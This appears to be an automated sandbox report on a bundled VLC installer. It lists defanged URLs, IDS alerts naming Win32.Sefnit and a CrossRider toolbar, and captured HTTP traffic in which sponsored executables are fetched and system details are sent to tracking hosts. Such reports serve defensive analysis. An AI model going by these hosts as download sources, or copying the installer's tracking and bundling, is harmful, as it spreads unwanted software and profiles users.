hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	88.221.132.175
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json	212.7.199.181
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg==	108.162.232.198
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6fb1bd974b711e2e	88.221.132.177
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=	23.43.139.27
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png	78.138.127.8
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar	88.221.132.190
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423621891	54.231.18.68
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.40309789961284004	78.138.127.15
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_b	69.16.175.10
hxxp://www.appshat.com/js/scripts.js	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=2&index_in_screen=1&index_in_session=2&0.5419537246707162	78.138.127.15
hxxp://www.appshat.com/images/logo.jpg	78.138.127.8
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423621893	54.231.18.68
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png	78.138.127.8
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423621893	54.231.18.68
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.43.139.27
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.18158201121154166	78.138.127.15
hxxp://stats.ourgendataservice.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147483648&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423621888&procruntime=3&rnd=1423621891	54.231.8.172
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://www.appshat.com/images/16x16.ico	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png	78.138.127.8
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.203.71
hxxp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US	63.245.215.111
hxxp://www.appshat.com/thumbnails/banner/images/assets/9/c/9c161c623a389f1b32f42adac2cb466b.jpg	78.138.127.8
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423621898	54.231.18.68
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.6020630595223312	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.580118421183196	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.06155158010526135	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.7891041432425838	78.138.127.15
hxxp://www.appshat.com/css/lightbox.css	78.138.127.8
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_a	69.16.175.10
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?057e69f53a553e2c	88.221.132.177
hxxp://www.appshat.com/thumbnails/icon/images/assets/3/d/3d8bbea6bcae57d705c676f7050a7d51.png	78.138.127.8
www.gstatic.com	173.194.113.216
ssl.gstatic.com	173.194.113.207
tools.google.com	173.194.113.193
apis.google.com	173.194.113.206

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET TROJAN Win32.Sefnit
ET POLICY Executable served from Amazon S3
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 0-22630360/22630361
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=965046-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321682

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 965046-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: w7aYFNL5h92Q6fJwe90aqi79EQmoH7SKSqD_6UxeANzioKkkhRRuog==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 321682..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes.
.ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 9650
46-1286727/1286728..X-Cache: Miss from cloudfront..Via: 1.1 15191055e4
3ba835d0fead01ae84015c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: w7aYF
NL5h92Q6fJwe90aqi79EQmoH7SKSqD_6UxeANzioKkkhRRuog==.....L.%S.....:FkR5
...K.!...=...q`.f:~..nv.h.......v.H..,........F.w...n.\........x...D5.
[email protected][email protected]_..l...7..x..9.!C..bT
.........s;c^.<.|H...C..#..z.{...A.i..7p.....'..o...2G.)...{K......
.;{F....^iH..Z-.v..[;[email protected]$...yU...(>..x{.....)...W
F.g..G...O!.*m[bas.[..k..m.uo.N,...wP....r.v.....h..e..~#...0.I....E.4
..3k.s......B.k.c.K........5_.......8..W..B..W_&..^{.O.;.,s..M\..>.
..Uc.3?..0.K.....wU... .....tM..]...s....g.t...,......../.Lb.r..[...._
...v[.....3G.<.K..2..%1....TFT.(...Q.{S ......|..k.*.n.?)..k..k ..v
..xD..>M.....x..q\..A....!. ..>....P..(..-.,?.......x..c..W0.-.\
......>.<H...WH.jd...!.=.s.H{"E...`...cAq.....|D....>.#..9..m
..5Ec..j...F.w...J.k.R....S....j.......[.2&...#Xn.....yc_.z4^X.d7*....
m....F*=.:./....7..&.Uh..,......]....nb'........k.%.&90.;i..R..L...ue.
.Z....l-...L!..4/e.,.97I.I.....|.l..!o..`|.........wa5.8V Q.S.....Z..b
...5|......OT..p.0.$....S..sL~.?.9.......051.. yN.......tx:..Ur.K&<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583216

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.........................F.......................................s....
..................@...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 52ZEcZ7bDUbVyWiaDaYSN_IX5blkLTu62Hb7lD8ixqOyA_i4jq8mfw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_c HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:21 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537359"

Last-Modified: Tue, 10 Feb 2015 03:02:39 GMT

Cache-Control: max-age=1114

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423621882.dop003.am4.t,1423621881.cds043.am4.c
ja....B...X.dv=.p.P....O.XM/.'D.....#./.wK1.x...-#..\:Y.=..08.E....2..
.....J...W....9)|.".l.*......^1...`...l-.0..F.L...."..,.Y..{..!.GeX [.
.4;..o..*.f:....\0..6J%[.g.. .q.t.'.Q.}. ....A.Q5......V.......~.\.L.Y
Q..X/.Y........g...l.2aM\.]%.f..P.....5....^oHP#x=I.....&......c.. .$,
.........jY.......U..\.Z..&w.l)A....x.G.P..>.....;.E..j.....v......
..e0f;!.D.....s|:...c$....=..g.. .<.Qh..Sa.t....$....F....EA...x0."
'9.C........gmL~$p.1s......r.........-.w..Y.#(#).x.Gx..S.N...j=.^[email protected].
_........[.Fy.k.>]2.\]...Gfjm......R....`..VW..C..h...-Gu..b!.,....
#~.......D....z.m..O.bPa..QM..........b...<..0...c....X..b".cF.....
..F...NG..z...5l....o.^....t5.v....s.E.u.b..yda.,G.`H.b.v7.....T.6.5..
....Ua.......6...RpV.C...:8.G..e...N.....|....].v...rZp...W...h.....;V
#,{tyunx....!..I.....aB.b.&..>4....~..Dyn.'*".4..&....f.....9y.....
bq..D;n...[W..<..0.d.N..C.....u.C...t..g(.4.!.\...>....>..n..
.....,\../#w./o..O.......Hx;*.j.A...z~.$..H..\...b...e.CV."..r7....Q..
..3)...-p.I..;.Ey<.Oy..`.CN=.....?..Y=.mo....x..[......l\.&V%......
C= p.(....{e].......orf@...). .k.......`..hu..ii:.y..j...iYQ..0.:..V.%
#...%.j.b...m.J"......;9...(`.(=..HJ....#...W..<.......}P..7/.X6I..
7..Nt..*~.ea...j.B..'..0P]|J.'....q1rWc.1.e<..9(..8.....S....,c....
....Y..N.G...b....3....~....;_9...}.d....0:e .....g...gf_..T.G.E.$....
.................?}........Pq.3.I...=P.^.n...K ...L.....%....v..xb..S=
..x.../...Zr5.,.....ko@....*.8...t..../.-#.W.....;."#...y^uZ1.2.3..`P.
.:.)..."[email protected].}....g=>e.J.1l.....i:.(.\.g`...<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=72902-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 72902-583215/583216

Content-Length: 510314

Connection: keep-alive
....]...?...g.$.j.'.yq.......i.xA..W.%.).2...g...$........E....... Ey.
.f..@>.=....5%[email protected][..m..`...O...F...h...n..]Z8..F..7.).sw...
....G...j....&....z\-.|.#.....3.Qb/...|Ns..^.....z.....Xu.8SG..=......
..}...i...Z..pl.5.....o.....j.)...>..L...n.&cy.I.e..NG......LkP...~
...i..&GDgfa..E..H.L..!...1.Q.J..H.V.......}...Ce.jV.~.b.i.X...Zb.:@.8
..;./...C......H.....&..U.8....I.,U.9..k.|.v..|c=YT0(.. ......d"VW....
!0..e.c.7...=.*L.D..N....(.M...I.U....3...(......v.jL.........._..euZ.
..!i.....9g.s.'.....#....a...s.....0..c6p(.......=..Y...#....I.....k..
..............G.!.....u..4.....6...........Y:qb..n.5....z....`.~;.8.q.
....=...?=l) ....~JU........G.P....obV..w.....=..k...T(D .8$ ..#.Fq...
>.........)......%...'u.....8c... ...B.........rn.gs.`......~I...A.
....)`...C.Y.=ngF....>-L...NF$.)ON....l...\N....I. 1.>?6.)MP....
"....z.....k<...)Ja.[.tz.-U........s.....c..i.>....'..SI.v..l\..
P..*f8......Q.>.e...|wo..^;.%4.5.r......|j....t#......8......Q..Ur.
55.......,.w...h3..6*...K.sf...~kH......[..B..lF.....p.JG...........W.
...0...~C.D...7-....8A;.......U.-.z..h.Q.............N2kV......?t.V]..
M..]?...X8...3..]....d...g.c.&[R......-.aH...*..1...i>C............
Wj.GY..B*2.q..... .j.k.z...._^...L..A..&s....88....Q0.e.&...9..lD.|E..
..6WEM.[.K2.z..*BB...'......2..z,A<~.>..c!>.....}...hGG./.X;.
!.j........j.....?.x..>.U..=......_.s.....L.r...CCj.LocGAqj..^.....
...l.[.Y..-................^O........a.2....X..y..r..P..e/.HL7..7?..R.
I..*.p......lse.^...{53..&.NKD..*w....i.&..0.SE.I,..V..rCL....E[.i<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=14143976-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 8486385

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 14143976-22630360/22630361
...c..}.....).......c...g....B....J......5|C...}.E.b..."}.81.........&
gt;...&._V. |6..`...R...k..R.......7.OR..r.L5...tnY.e)F....QS..Y...U.v
.M...IcN....\...R;{.P>.....ci..-3.Z.......j2....s... e~...R.<T..
-....Z.3H.|q..5,.Q.V.......;P K.{...9....R?Q....|fe.R...lX...2.g...-.8
....a..2.&......l...4|.P.M*.Yl.q...1lp.Y.3..."4~...%.........aNM.E....
..3: ...vK..#h...R...9..- .B...b.Mfm..C`.L'^..P...NJ ......."T I......
9.'....S.>..Vr...J..e`Y^......4.....c....]_..W.9.r,....n....5..5F..
....4...a.1......M#u.w>I...=v......Z..Z|.....A...(etXHN..R.d]......
....7...k..t...9Ko..b......"......G...=<.p...D."'.,........A..k.^.L
......^>.C.....x.a........O.BN..&...^..j*..:.g..I.rQ:.SR#E.UH.....4
......iN":..m........T .....N....,.!~.....y......,..d.f.e.'.p......k..
..L..6....MY.."P\.e..ck.~5JU.I.A. N....J)p:...f..j...s........Jub=....
MpL.S.[SRH.......8^[email protected].].H....=i.Z.D..<,.A.\rm....'.
.._:>.!p.7fJ}......;9....*3..wy...B.....&.k?......m#..z.....X.=.[..
i..c.=2..P....C.t.0&.o.._'6..).U.1....gP...k....l.Vj.Y..'A"o......d.xS
Y.d..p..g}W.....{\WG#..@...!...u.[C..#V..r..j.,.fc.%....X~ru..B..G...Q
......p.U.gr4......e...k=V_v..q...a.P..ZR.W}_......2.9<.]V.k...2J.Z
.J....Y...b...6.......-r.JxDR.X/T...(w.0...^.}.,..nz..h.}..!Y.........
~....S..aK.<ox.....:..N>O..>P.bf..t....Y.....Dd\.........9...
Q3..u...#.2.v.>&n.*..._..'J'>..r...@"u..b!d..Kc.$g...X..?1;.9.C&
gt;....1zo...y.a.........9J...'.C.3.i=..&e.}'.}3M...l.V40<s2.w>%
j{..i..../...0Z...................R....}........y...H.=]....I!o...<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=437412-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache



...;\....H.}z{.....O ..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.
8.z...o...N.p...h....oj....A..Y.\......<....{.....E..........S.....
QR.~.D.ye&:.`...........W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&
..c.....#3.vS.......=...$.E......A ..Q.......I[...oCSV....Y. -..O....J
.......mOT...]i....A../..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD
...d7.....4..n(Z).zD....<..P...6..[.....7.P..|./..h.......[|.8..*.0
...k......djY...7......o&/....n/.d.........Gw.QtikjM"..x...g.&....~{k.
Wb...!.M.N.N._.=%{.X*C...D.R...."....OT..a5vi..5.t.dCF.=.J..k..dj;.Q..
KT.....u.....TMV..I..EP.....ay..{...C.5.k.4...I..#V?....#..*..........
>.y...".N6.-.e'N..h......8[...w.D..A.9'..6.....m..1...MO....l.h.O..
JF.._....,.s........&...dm`']4...}.&.4.7D...><tTb.__U..*..*/..*.
.p.3.k.#PR....Qo4,.|..u.v..v...........:..6r..A.3....5g.5.....y,..cf..
...|CW..Of..8h..X.....yI.....|.0.|../zO#.-.....w...y=...o..5...d..}j..
.*.........bZ..=.1........./;cbW....:..i..._Lm..V.zg..m..,.....{5tCF!*
x...y..........N.......{..JQ..I.NCj...|.............A.5Y... .K....p.Z.
5m.u.h........G..C....3...j..1M...n.#..0.T7...".2......d.....UT6..[...
[email protected].\.Pp9...N:I.\.1...p$.$U??X........;]e......c....?EC."....
.`@k../.K.L..v...>&zj.xy!.5...V.g...1.x...o.s^.f...^[.BG.$ t...m..'
@C.x..5.....Z.....O..r....6/Vy..,......B.:....8.).g..d0.9.....a...9.`.
?.t.3...%.;......R.&Z.....:.$.3H.f...m{G....@.;3,8.D...V..Nu....r`gY..
3wh.....W.f..GH`.[.N.R....w...i.t"{....S..s.`Xw......a..o.I...ls...1..
.x.........f.......El#kL}.S.}@.....m.. ..K.T.g.'......U..R\....j.a<<< skipped >>>

GET /network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.6...g...N....v...0?[....'r:...= ...x.I....k....
l..ZU......|.....PU...u|....,Y~.H...d|....{.4..o.qo...F2...t........}.
H.......`.~\n...c....;;.4kD...}.^.......e<...S...%.n...Yo.n.....l.i
J}....i.rx:...h......q.M...{%}.N._...l.<MFir../~.g..t<.~]....l./
...2],....i....d.N..89?...r~...........[....l0H.....'Z.Y.....<=]./.
.w_..J.M....?^.4^..,n........./...2.M..U.8...N..y.).....9&k.%....\..x.
..^Nz.,.....%>i4..RwQd.Ey....I.{.......:[..j.Q..=<.\.h1.M&....n.
[email protected]........!..8.....t.`w.g.lq.a:....4KN..8]d..r..a..16
<ft...->[email protected]=........e..wd..;..x.!..8......%.
...G.w..b...e......l..x..alS<.....j....t0./......x..O...t9.........
|t..t_f.r..n.z...I...l.........%vs...r..7{..&...<[.........{.-...dd
..|X...$.M...DH...&;.\........!.cab..y...qb.>..d.....}4e.../..j5.0.
bzv..U.M...(>......6O....9.a'.s.o?.................w..;.........;..
3.M.O0..w..............G.??...P.j ..;,..'..._x.%. ..<K..U..t.......
..[...s.:..|].......}.....8............P|. .u. ?v..k...n...P..{w....W~
.^........W...............~...k.w.x..........W.g..._..wk.w...[......W}
..B........k..l..;...q0...tq .2.KB...?.....^<.........8.c.f.S../.r.
..Z....!....g./.'a`~..ez...4.W.-.](e...J.bp....;7....t6.\N..l.a/LZW.ty
9.^e..;.Y..:....r....(.2....."x.u...(..C.-..V...Q......M.J....^.5N...h
..N[W...77.(miO6v.q?9JO....[`.....}}....|rmo.:lm.|....7./G.b..c..0n]..
.|..f.B..:.v(.7T(.....[:7.6[u-.7....p}[.&...d`]?..w.'.[..x..<...a..
....r....<......Um..C...o...^...`Uy-....F....Z.o...4...QfU>.<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

